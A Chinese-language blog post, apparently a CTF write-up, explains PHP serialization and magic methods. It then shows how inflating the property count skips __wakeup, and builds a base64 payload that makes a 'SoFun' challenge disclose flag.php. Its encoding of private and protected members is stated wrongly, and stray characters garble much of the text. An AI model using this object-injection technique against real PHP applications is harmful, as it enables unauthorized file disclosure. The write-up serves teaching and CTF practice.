反序列化漏洞(PHP)


?????????????????????????? ? ? ? ? ? ? ? 介紹序列化和反序列化

序列化和反序列化:大型網站中類創(chuàng)建的對象多的時候會占用大量空間槐沼,序列化就是將這些對象轉換為字符串來保存曙蒸,當用到的時候再轉換為對象,由字符串重新轉換為對象的時候用到的就是反序列化岗钩。

例:

<?php

<?phpclass A{public $a=1;}

$a = new A();

$se_a = serialize($a);

echo $se_a;

?>

輸出結果:

O:1:"A":1:{s:1:"a";i:1;}

格式說明:O:“類的名字的字節(jié)數(shù)“:“類的名字“:“對象中幾個參數(shù)“:{“第一個參數(shù)名字的類型“:“第一個參數(shù)名字所占字節(jié)數(shù)”:“第一個參數(shù)名字”纽窟;“第二個參數(shù)名字的類型“:“第二個參數(shù)名字所占字節(jié)數(shù)”:“第二個參數(shù)名字”;········凹嘲;“第n個參數(shù)名字的類型“:“第n個參數(shù)名字所占字節(jié)數(shù)”:“第n個參數(shù)名字”师倔;}

以下以類的名字為“A”,參數(shù)名字為a舉例子:

若參數(shù)類型為public周蹭,則參數(shù)名字的類型用字母 “s”表示趋艘,整體表示為:(s:1:"a";);

若參數(shù)類型為private凶朗,則參數(shù)名字的類型用字母“s”表示瓷胧,整體表示為:(s:4:"\0*\0a";);

若參數(shù)類型為protected棚愤,則參數(shù)名字的類型用字母“S”表示搓萧,整體表示為:(S:2:"\0Aa\0";),參數(shù)前面加類的名字宛畦。(\0是表示0的ASCII碼)

常見的表示類型的字符:

O:類

a:數(shù)組(array)

b:boolean

i:整型

s:字符串

N:NULL

d:double瘸洛,浮點型


??????????????????????????? 挖掘反序列化漏洞需要注意的常用魔法函數(shù)

反序列化漏洞也被成為對象注入。

__construct():當一個對象創(chuàng)建時被調用次和。

__destruct():當一個對象銷毀時或者php代碼執(zhí)行完畢時被調用反肋。

__toString():當一個對象被當作一個字符串使用

__sleep():在對象在被序列化之前運行

__wakeup():將在序列化之后立即被調用

__weakup()函數(shù)繞過方法:

用上面的例子,正常輸出O:1:"A":1:{s:1:"a";i:1;}踏施,這里變量數(shù)量只有一個石蔗,若改成變量數(shù)量為兩個則可以繞過__weakup函數(shù)罕邀。

O:1:"A":2:{s:1:"a";i:1;}

原因是php底層代碼bug:簡單來說,如果對象屬性檢查異常养距,那么Purrase_nested_data()將會返回0诉探,且不調用WAKEUP()方法,但是在這之前對象和它的屬性已經被創(chuàng)建棍厌,緊接著對象將被破壞肾胯,從而執(zhí)行DESTRUCT()函數(shù),于是導致了漏洞定铜。


???????? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? ??? 實戰(zhàn)一道CTF題


<?php

class SoFun{???

??? protected $file='index.php';?

??? function __destruct(){?? //定義析構函數(shù)阳液,當創(chuàng)建的對象被銷毀時自動執(zhí)行

????? if(!empty($this->file)) {?

?????? if(strchr($this-> file,"\\")===false &&? strchr($this->file, '/')===false)??

????????? show_source(dirname (__FILE__).'/'.$this ->file);

?????? else????? die('Wrong filename.');

????? }} ?

??? function __wakeup(){ $this-> file='index.php'; }

??? public function __toString(){return '' ;}}??? ?

??? if (!isset($_GET['file'])){ show_source('index.php'); }

??? else{

?????? $file=base64_decode( $_GET['file']);

?????? echo unserialize($file ); }

?>?? #<!--key in flag.php-->

這題最后輸出答案的語句應該是析構函數(shù)里的這句:show_source(dirname (__FILE__).'/'.$this ->file);

可是代碼最后執(zhí)行反序列化的時候執(zhí)行了__weakup()函數(shù),所以就執(zhí)行了__weakup()函數(shù)中的this->file='index'揣炕,代碼執(zhí)行結束的時候,析構函數(shù)中show_source(dirname (__FILE__).'/'.$this ->file);就輸出的為index..php的代碼了东跪。所以用繞過__weakup()函數(shù)的方法來不讓this->file這個變量變成index.php畸陡。

1、代碼審計

審計代碼虽填,可以發(fā)現(xiàn)要得到KEY丁恭,思路如下:

1、源碼最后提示斋日,KEY在flag.php里面牲览;

2、注意到__destruct魔術方法中恶守,有這么一段代碼第献,將file文件內容顯示出來

show_source(dirname(FILE).’/‘.$this->file),這個是解題關鍵兔港;

3庸毫、若POST“file”參數(shù)為序列化對象,且將file設為flag.php衫樊;那么可以通過unserialize反序列化飒赃,進而調用__destruct魔術方法來顯示flag.php源碼(要注意的是file參數(shù)內容需要經過base64編碼);

4科侈、上面的分析是多么美好载佳,但從代碼分析可以知道,還有__wakeup這個攔路虎臀栈,通過unserialize反序列化之后蔫慧,也會調用__wakeup方法,它會把file設為index.php挂脑;

5藕漱、總結下來就是欲侮,想辦法把file設為flag.php,調用__destruct方法肋联,且繞過__wakeup威蕉。

2、PHP反序列化對象注入漏洞

上網查資料橄仍,發(fā)現(xiàn)原來這個CTF題目是根據(jù)PHP反序列化對象注入漏洞改編的韧涨。

簡單來說,當序列化字符串中侮繁,表示對象屬性個數(shù)的值大于實際屬性個數(shù)時虑粥,那么就會跳過wakeup方法的執(zhí)行舉個栗子宪哩,比如有個Student類娩贷,里面有個參數(shù)為name。

實際情況:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}

Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}Payload對象屬性個數(shù)為2锁孟,而實際屬性個數(shù)為1彬祖,那么就會掉入漏洞,從而跳過wakeup()方法品抽。

3储笑、CTF Payload

明確了這些之后,就可以構造出Payload了圆恤,需反序列化的對象為:

O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}? ?

O:5:”SoFun” 指的是 類:5個字符:SoFun

:2:? 指的是 有兩個對象

S:7:”\00*\00file”?? 指的是有個屬性突倍,有7個字符,名為\00*\00file

s:8:”flag.php”?? 指的是屬性值盆昙,有8個字符羽历,值為flag.php? ?

值得注意的是,file是protected屬性弱左,因此需要用\00*\00來表示窄陡,\00代表ascii為0的值。另外拆火,還需要經過Base64編碼跳夭,結果為:

Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==


參考鏈接:https://www.freebuf.com/news/172507.html

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市们镜,隨后出現(xiàn)的幾起案子币叹,更是在濱河造成了極大的恐慌,老刑警劉巖模狭,帶你破解...
    沈念sama閱讀 216,591評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件颈抚,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機贩汉,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,448評論 3 392
  • 文/潘曉璐 我一進店門驱富,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人匹舞,你說我怎么就攤上這事褐鸥。” “怎么了赐稽?”我有些...
    開封第一講書人閱讀 162,823評論 0 353
  • 文/不壞的土叔 我叫張陵叫榕,是天一觀的道長。 經常有香客問我姊舵,道長晰绎,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,204評論 1 292
  • 正文 為了忘掉前任括丁,我火速辦了婚禮荞下,結果婚禮上,老公的妹妹穿的比我還像新娘史飞。我一直安慰自己锄弱,他們只是感情好,可當我...
    茶點故事閱讀 67,228評論 6 388
  • 文/花漫 我一把揭開白布祸憋。 她就那樣靜靜地躺著,像睡著了一般肖卧。 火紅的嫁衣襯著肌膚如雪蚯窥。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,190評論 1 299
  • 那天塞帐,我揣著相機與錄音拦赠,去河邊找鬼。 笑死葵姥,一個胖子當著我的面吹牛荷鼠,可吹牛的內容都是我干的。 我是一名探鬼主播榔幸,決...
    沈念sama閱讀 40,078評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼允乐,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了削咆?” 一聲冷哼從身側響起牍疏,我...
    開封第一講書人閱讀 38,923評論 0 274
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎拨齐,沒想到半個月后鳞陨,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經...
    沈念sama閱讀 45,334評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,550評論 2 333
  • 正文 我和宋清朗相戀三年拆宛,在試婚紗的時候發(fā)現(xiàn)自己被綠了坟比。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片籽慢。...
    茶點故事閱讀 39,727評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡隧土,死狀恐怖对供,靈堂內的尸體忽然破棺而出脱货,到底是詐尸還是另有隱情城须,我是刑警寧澤碘菜,帶...
    沈念sama閱讀 35,428評論 5 343
  • 正文 年R本政府宣布凹蜈,位于F島的核電站,受9級特大地震影響忍啸,放射性物質發(fā)生泄漏仰坦。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,022評論 3 326
  • 文/蒙蒙 一计雌、第九天 我趴在偏房一處隱蔽的房頂上張望悄晃。 院中可真熱鬧,春花似錦凿滤、人聲如沸妈橄。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,672評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽眷蚓。三九已至,卻和暖如春反番,著一層夾襖步出監(jiān)牢的瞬間沙热,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,826評論 1 269
  • 我被黑心中介騙來泰國打工罢缸, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留篙贸,地道東北人。 一個月前我還...
    沈念sama閱讀 47,734評論 2 368
  • 正文 我出身青樓枫疆,卻偏偏與公主長得像爵川,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子息楔,可洞房花燭夜當晚...
    茶點故事閱讀 44,619評論 2 354

推薦閱讀更多精彩內容

  • php對象注入是一個非常常見的漏洞寝贡,這個類型的漏洞雖然有些難以利用,但仍舊非常危險钞螟。為了理解這個漏洞兔甘,請讀者具備基...
    BerL1n閱讀 3,565評論 0 2
  • 2018/3/16 17:34:51 WEB題 1.簽到題 題目:key在哪里? writeup:查看源代碼即可獲...
    Sec小玖閱讀 22,386評論 1 11
  • 浪客北緯:專注安慰鳞滨,陪伴和成長 ...
    浪客北緯閱讀 227評論 0 0
  • A供應商將物資發(fā)貨通知告知采購部 B采購部接收通知并及時告知倉儲部 C倉儲部收到供應商發(fā)來的貨要及時上報報檢給質檢...
    無謂石閱讀 602評論 0 0
  • 今天科室請了一個全國一流醫(yī)院的治療師過來給我們講課。 56歲的人澡匪,聽口音是北京當?shù)厝巳廴危芙拥貧獾母杏X。沒有一點壓力...
    開心的靈通閱讀 400評論 0 0